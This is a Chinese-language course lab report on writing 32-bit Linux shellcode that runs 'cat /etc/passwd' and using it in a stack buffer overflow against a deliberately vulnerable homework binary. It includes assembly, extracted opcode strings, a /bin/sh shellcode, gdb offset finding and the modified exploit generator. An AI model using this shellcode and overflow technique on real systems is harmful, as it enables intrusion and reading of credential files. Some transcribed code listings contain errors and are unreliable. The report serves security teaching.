

# Linux32 Shellcode 技术

## 一、实验内容及环境

### 1.1 实验内容

有漏洞可执行程序 homework09 对应的部分 C 程序如下：

```
void smash_buffer(char * largebuf)
{
    char buffer[BUFF_LEN];
    FILE *badfile;
    badfile = fopen("./SmashSmallBuf.bin", "r");
    fread(largebuf, sizeof(char), LARGE_BUFF_LEN, badfile);
    fclose(badfile);
    largebuf[LARGE_BUFF_LEN]=0;
    printf("Smash a buffer with %dbytes.\n\n",strlen(largebuf));
    strcpy(buffer, largebuf);
    // smash it and get a shell.
}
```

(1)参考 9.2 介绍的方法，写一个用 cat 命令打开

/etc/passwd 的 shellcode

(2)参考 lexploit.c，用(1)的 shellcode 实现对 homework09 的攻击。

### 1.2 实验环境

Host: Archlinux 64bit

虚拟环境: VirtualBox 7.0.2

虚拟机: Ubuntu16.04 i386

## 二、实验原理

缓冲区溢出攻击需要编写合适的 **Shellcode** 来对系统进行入侵，**Shellcode** 是注入到目标进程中的二进制代码，其功能取决于编写者的意图。

编写 **Shellcode** 要经过以下 3 个步骤：

- 1) 编写简洁的能够完成所需功能的 **C** 程序；
- 2) 反汇编可执行代码，用系统功能调用代替函数调用，用汇编语言实现相同的功能；
- 3) 提取出操作码，写成 **Shellcode**，并用 **C** 程序验证。

如果在目标系统中有一个合法的帐户，则可以先登录到系统，然后通过攻击某个具有 **root** 权限的进程，以试图提升用户的权限从而控制系统。

如果被攻击的目标缓冲区较小，不足以容纳 **shellcode**，则将 **shellcode** 放在被溢出缓冲区的后面；如果目标缓冲区较大，足以容纳 **shellcode**，则将 **shellcode** 放在被溢出缓冲区中。

一般而言，如果进程从文件中读数据或从环境中获得数据，且存在溢出漏洞，则有可能获得 **shell**。本次实验就针对这种情况进行。

## 三、实验过程

### 3.1 第一部分

要编写一个用 `cat` 命令打开 `/etc/passwd` 的 shellcode，则考虑实现的方式。

我们知道，可以在程序中使用 `execve()` 函数来调用程序。

该函数的调用参数如下所示：

```
int execve(const char * filename,char * const  
argv[ ],char * const envp[ ]);
```

则第一个参数应该为 `/bin/cat`

第二个参数应该为 `/etc/passwd`

第三个参数指的是环境变量的值，在这里设置为 `NULL`

在 9.2 中我们编写了一个打开 shell 的 shellcode 汇编，该例中我们在执行 `sysenter` 之前，`eax` 保存的是 `execve` 的系统调用编号，`ebx` 保存的是字符串 `name[0]="bin/sh"` 指针，`ecx` 保存的是字符串数组的指针，`edx` 为 0，也就是说 `ebx`，`ecx` 分别对应 `execve` 函数的第一，第二个参数。按上述配置执行完 `sysenter` 之后就能执行 `/bin/sh`。

我们考虑，修改部分代码，`cat /etc/passwd` 的汇编如下：

```

1.  void foo ()
2.  {
3.      __asm__ (
4.          "xor    %eax,%eax    ;"
5.          "cdq                ;"
6.          "push   %edx         ;"
7.          "push   $0x64777373 ;"
8.          "push   $0x61702f2f ;"
9.          "push   $0x6374652f ;"
10.         "mov    %esp,%ecx    ;"
11.         "push   %edx         ;"
12.         "push   $0x7461632f ;"
13.         "push   $0x6E69622f ;"
14.         "mov    %esp,%ebx    ;"
15.         "push   %edx         ;"
16.         "push   %ecx         ;"
17.         "push   %ebx         ;"
18.         "mov    %esp,%ecx    ;"
19.         "mov    %al,$0x0b    ;"
20.         "int    80          ;"
21.     );
22. }
23. int main(int argc,char* argv[])
24. {    foo();
25.     return 0; }

```

上面的汇编执行时，首先使用 `xor` 将 `eax` 和 `edx` 置为 0，接着构造 `dwss ap// cte/` 将第二个参数写入 `ecx` 指向的缓冲区中(两个/是为了避免提早出现 00)，随后构造 `tac/nib/` 将第一个参数写入 `ebx` 指向的缓冲区中，最后将 `eax` 置为 11，`ebx` 置为指向第一个参数缓冲区的指针，`ecx` 置

为指向第二个参数缓冲区指针的指针，edx 置为 NULL，接着进行系统调用即可实现 `cat /etc/passwd` 的功能。  
运行结果如下图所示：

```

shell_asm.c
geng@geng-VirtualBox:~/Desktop/Lab2$ ./shell_asm
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108:/:/home/syslog:/bin/false
_apt:x:105:65534:/:/nonexistent:/bin/false
messagebus:x:106:110:/:/var/run/dbus:/bin/false
uidd:x:107:111:/:/run/uidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117:/:/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false

```

```

void foo()
{
    __asm__(
        "xor    %eax,%eax\n"
        "cdq\n"
        "push   %edx\n"
        "push   $0x64777373\n"
        "push   $0x61702f2f\n"
        "push   $0x6374652f\n"
        "mov    %esp,%ecx\n"
        "push   %edx\n"
        "push   $0x7461632f\n"
        "push   $0x6569622f\n"
        "mov    %esp,%ebx\n"
        "push   %edx\n"
        "push   %ecx\n"
        "push   %ebx\n"
        "mov    %esp,%ecx\n"
        "mov    $0x0b,%al\n"
        "int    $0x80\n"
    );
}

int main(int argc, char * argv[])
{
    foo();
    return 0;
}

```

接下来，需要从可执行文件中提取出操作码，作为字符串保存为 **shellcode**。

为此，首先使用 **objdump** 把核心代码反汇编出来：  
**objdump -d shell\_asm**

```

80483ca: 89 e5      mov     %esp,%ebp
80483cc: 8b ec 14   sub     $0x14,%esp
80483cf: 50        push    %eax
80483d0: ff d2     call    *%edx
80483d2: 83 c4 10   add     $0x10,%esp
80483d5: c9        leave  %esp
80483d6: e9 75 ff ff jmp     8048350
<register_tm_clones>

080483db <foo>:
80483db: 55        push    %ebp
80483dc: 89 e5     mov     %esp,%ebp
80483de: 31 c0     xor     %eax,%eax
80483e0: 99        cld     %eax
80483e1: 52        push    %edx
80483e2: 68 73 73 77 64 push    $0x64777373
80483e7: 68 2f 2f 70 61 push    $0x61702f2f
80483ec: 68 2f 65 74 63 push    $0x6374652f
80483f1: 89 e1     mov     %esp,%ecx
80483f3: 52        push    %edx
80483f4: 68 2f 63 61 74 push    $0x7461632f
80483f9: 68 2f 62 69 6e push    $0x6e69622f
80483fe: 89 e3     mov     %esp,%ebx
8048400: 52        push    %edx
8048401: 51        push    %ecx
8048402: 53        push    %ebx
8048403: 89 e1     mov     %esp,%ecx
8048405: b0 0b     mov     $0xb,%al
8048407: cd 80     int     $0x80
8048409: 90        nop
804840a: 5d        pop     %ebp
804840b: c3        ret

0804840c <main>:
804840c: 55        push    %ebp
804840d: 89 e5     mov     %esp,%ebp
804840f: e8 c7 ff ff call    80483db <foo>
8048414: b8 00 00 00 00 mov     $0x0,%eax
8048415: f4        hlt

```

```

80483de: 31 c0     xor     %eax,%eax
80483e0: 99        cld     %eax
80483e1: 52        push    %edx
80483e2: 68 73 73 77 64 push    $0x64777373
80483e7: 68 2f 2f 70 61 push    $0x61702f2f
80483ec: 68 2f 65 74 63 push    $0x6374652f
80483f1: 89 e1     mov     %esp,%ecx
80483f3: 52        push    %edx
80483f4: 68 2f 63 61 74 push    $0x7461632f
80483f9: 68 2f 62 69 6e push    $0x6e69622f
80483fe: 89 e3     mov     %esp,%ebx
8048400: 52        push    %edx
8048401: 51        push    %ecx
8048402: 53        push    %ebx
8048403: 89 e1     mov     %esp,%ecx
8048405: b0 0b     mov     $0xb,%al
8048407: cd 80     int     $0x80

char shellcode[]=
"x31\xc0" //xor %eax,%eax
"x99" //cld %eax
"x52" //push %edx
"x68\x73\x73\x77\x64" //push $0x64777373
"x68\x2f\x2f\x70\x61" //push $0x61702f2f
"x68\x2f\x65\x74\x63" //push $0x6374652f
"x89\xe1" //mov %esp,%ecx
"x52" //push %edx
"x68\x2f\x63\x61\x74" //push $0x7461632f
"x68\x2f\x62\x69\x6e" //push $0x6e69622f
"x89\xe3" //mov %esp,%ebx
"x52" //push %edx
"x51" //push %ecx
"x89\xe1" //mov %esp,%ecx
"xb0\x0b" //mov $0xb,%al
"xcd\x80"; //int $0x80

```

如图所示，地址范围为 80483de 到 8048407 内的二进制代码是 shellcode 的操作码，将其按照顺序放置在字符串中，该字符串就是实现 cat /etc/passwd 功能的 shellcode。

测试验证该 shellcode,我们在 shell\_asm\_badcode.c 中验证，结果如下。

```

Homework1 Lab2
geng@geng-VirtualBox: ~/Desktop/Lab2
ell_bad shell_asm
shell_asm shell_asm_badcode.c shell_asm.c
geng@geng-VirtualBox:~/Desktop/Lab2$ gcc -fno-stack-protector -z execstack -o sh
ell_bad shell_asm_badcode.c
geng@geng-VirtualBox:~/Desktop/Lab2$ shell_bad
shell_bad: command not found
geng@geng-VirtualBox:~/Desktop/Lab2$ ./shell_bad
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin
ircd:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologi
n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,:/run/systemd:/bin/fal
se
systemd-network:x:101:103:systemd Network Management,,:/run/systemd/netif:/bin/
false

```

```

b.txt shell_asm_badcode.c
// gcc -fno-stack-protector -z execstack -o shell_bad ./src/
shell_asm_badcode.c
#include <string.h>

char shellcode[] =
"\xba\x00\x00\x00\x00" // mov $0x0,%edx
"\x52" // push %edx
"\x68\x73\x73\x68\x00" // push $0x68732f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x0b\x00\x00\x00" // mov $0xb,%al
"\xcd\x80"; // int $0x80

char shellcodeA[] = "\xba\x00\x00\x00\x00\x52\x68\x2f\x73\x68\x00\
\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\x00\x00\
\xcd\x80";

char shellcode[]=
"x31\xc0" //xor %eax,%eax
"x99" //cld %eax
"x52" //push %edx
"x68\x73\x73\x77\x64" //push $0x64777373
"x68\x2f\x2f\x70\x61" //push $0x61702f2f
"x68\x2f\x65\x74\x63" //push $0x6374652f
"x89\xe1" //mov %esp,%ecx
"x52" //push %edx
"x68\x2f\x63\x61\x74" //push $0x7461632f
"x68\x2f\x62\x69\x6e" //push $0x6e69622f
"x89\xe3" //mov %esp,%ebx
"x52" //push %edx
"x51" //push %ecx
"x89\xe1" //mov %esp,%ecx
"xb0\x0b" //mov $0xb,%al
"xcd\x80"; //int $0x80

```

可以看到，编译并运行该程序，结果正确。



### 3.2 第二部分

为了对该程序进行攻击，首先需要用 **gdb** 调试该目标进程。

在此之前，我们先反汇编 **objdump** 该程序，查看能否找到 **buffer** 的容量。

```

geng@geng-VirtualBox: ~/Desktop/Lab2
0804851b <smash_buffer>:
804851b: 55                push    %ebp
804851c: 89 e5             mov     %esp,%ebp
804851e: 81 ec 88 00 00 00 sub     $0x88,%esp
8048524: 83 ec 08          sub     $0x8,%esp
8048527: 68 60 86 04 08    push    $0x8048660
804852c: 68 62 86 04 08    push    $0x8048662
8048531: e8 ca fe ff ff    call    8048400 <fopen@plt>
8048536: 83 c4 10          add     $0x10,%esp
8048539: 89 45 f4          mov     %eax,-0xc(%ebp)
804853c: ff 75 f4          pushl   -0xc(%ebp)
804853f: 68 00 04 00 00    push    $0x400
8048544: 6a 01             push    $0x1
8048546: ff 75 08          pushl   0x8(%ebp)
8048549: e8 72 fe ff ff    call    80483c0 <fread@plt>
804854e: 83 c4 10          add     $0x10,%esp
8048551: 83 ec 0c          sub     $0xc,%esp
8048554: ff 75 f4          pushl   -0xc(%ebp)
8048557: e8 54 fe ff ff    call    80483b0 <fclose@plt>
804855c: 83 c4 10          add     $0x10,%esp
804855f: 8b 45 08          mov     0x8(%ebp),%eax
8048562: 05 00 04 00 00    add     $0x400,%eax
8048567: c6 00 00          movb    $0x0,(%eax)
:100:102:systemd time synchronization,,,:/run/systemd:/bin/tail

```

参照 C 程序，可以推断分配了大概 136 字节的缓冲区，我们的 **shellcode** 大概为 68 字节，缓冲区应该可以容纳 **shellcode**，所以我们尝试使用大 **buffer** 的攻击方式。

使用 **gdb** 对程序进行调试，关键位置打三个断点，可以看到应该在 **largebuf+128** 的位置放置攻击代码的跳转地址，**shellcode** 必须放在 **largebuf+132** 之后的位置。缓冲区的大小足够存放 **shellcode**。缓冲区开始位置是 **0xbfffea8c**

```

geng@geng-VirtualBox: ~/Desktop/Lab2
0x0804859d <+130>:  ret
End of assembler dump.
(gdb) b *(smash_buffer+0)
Breakpoint 1 at 0x0804851b
(gdb) b *(smash_buffer+120)
Breakpoint 2 at 0x08048593
(gdb) b *(smash_buffer+130)
Breakpoint 3 at 0x0804859d
(gdb) r
Starting program: /home/geng/Desktop/Lab2/homework09

Breakpoint 1, 0x0804851b in smash_buffer ()
(gdb) display/i $eip
1: x/i $eip
=> 0x0804851b <smash_buffer>:  push    %ebp
(gdb) x/x $esp
0xbfffeb0c:  0x080485c1
(gdb) c
Continuing.
Smash a small buffer with 0 bytes.

Breakpoint 2, 0x08048593 in smash_buffer ()
1: x/i $eip
=> 0x08048593 <smash_buffer+120>:  call   0x80483d0 <strcpy@plt>
(gdb) x/x $esp
0xbfffea70:  0xbfffea8c
(gdb) p/x 0xbfffeb0c-0xbfffea8c
$1 = 0x80
(gdb)

```



因此在 `lexploit.c` 中修改 `ShellCodeSmashLargerBuf()` 函数，将 `OFF_SET` 偏移改为 128, `buffer` 的起始地址改为 `0xbfffea8c`。

注意到 `homework09` 的读取文件为 `SmashSmallBuf.bin`，所以将构建文件修改为该名。

```
//=====
#define OFF_SET 128
#define LARGE_BUFFER_START 0xbfffea8c

void ShellCodeSmashLargeBuf()
{
    char attackStr[ATTACK_BUFF_LEN];
    unsigned long *ps, ulReturn;
    int i;
    FILE *badfile;

    // 你需要修改下列代码，以准备合适的攻击字符串，实现溢出并获得一个shell
    //=====
    memset(attackStr, 0x90, ATTACK_BUFF_LEN);
    strcpy(attackStr + (LBUFF_LEN - strlen(shellcode) - 1), shellcode);
    memset(attackStr+strlen(attackStr), 0x90, 1); //
    ps = (unsigned long *)(attackStr+OFF_SET);
    *(ps) = LARGE_BUFFER_START+0x100;
    attackStr[ATTACK_BUFF_LEN - 1] = 0;
    //=====
    // 你需要修改上面的代码，以准备合适的攻击字符串，实现溢出并获得一个shell

    // Save the attack string for latter use.
    printf("\nSmashLargeBuf():\n\tLength of attackStr=%d RETURN=%p.\n",
        strlen(attackStr), (void *)(*ps));
    badfile = fopen("./SmashSmallBuf.bin", "w");
    fwrite(attackStr, strlen(attackStr), 1, badfile);
    fclose(badfile);
}
```

编译后生成的 SmashSmallBuff.bin 如下所示：  
可以看到其中存在我们的 shellcode

运行 homework09 程序，我们有：

```
homework09  shell_asm.c  srcTestStudent
lexploit  shell_bad
geng@geng-VirtualBox: ~/Desktop/Lab2$ vim SmashSmallBuf.bin
geng@geng-VirtualBox: ~/Desktop/Lab2$ ./homework09
Smash a small buffer with 1024 bytes.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,:/run/systemd:/bin/fal
```

至此，我们成功的攻击了 **homework09** 程序，使其能够运行 **cat /etc/passwd** 命令。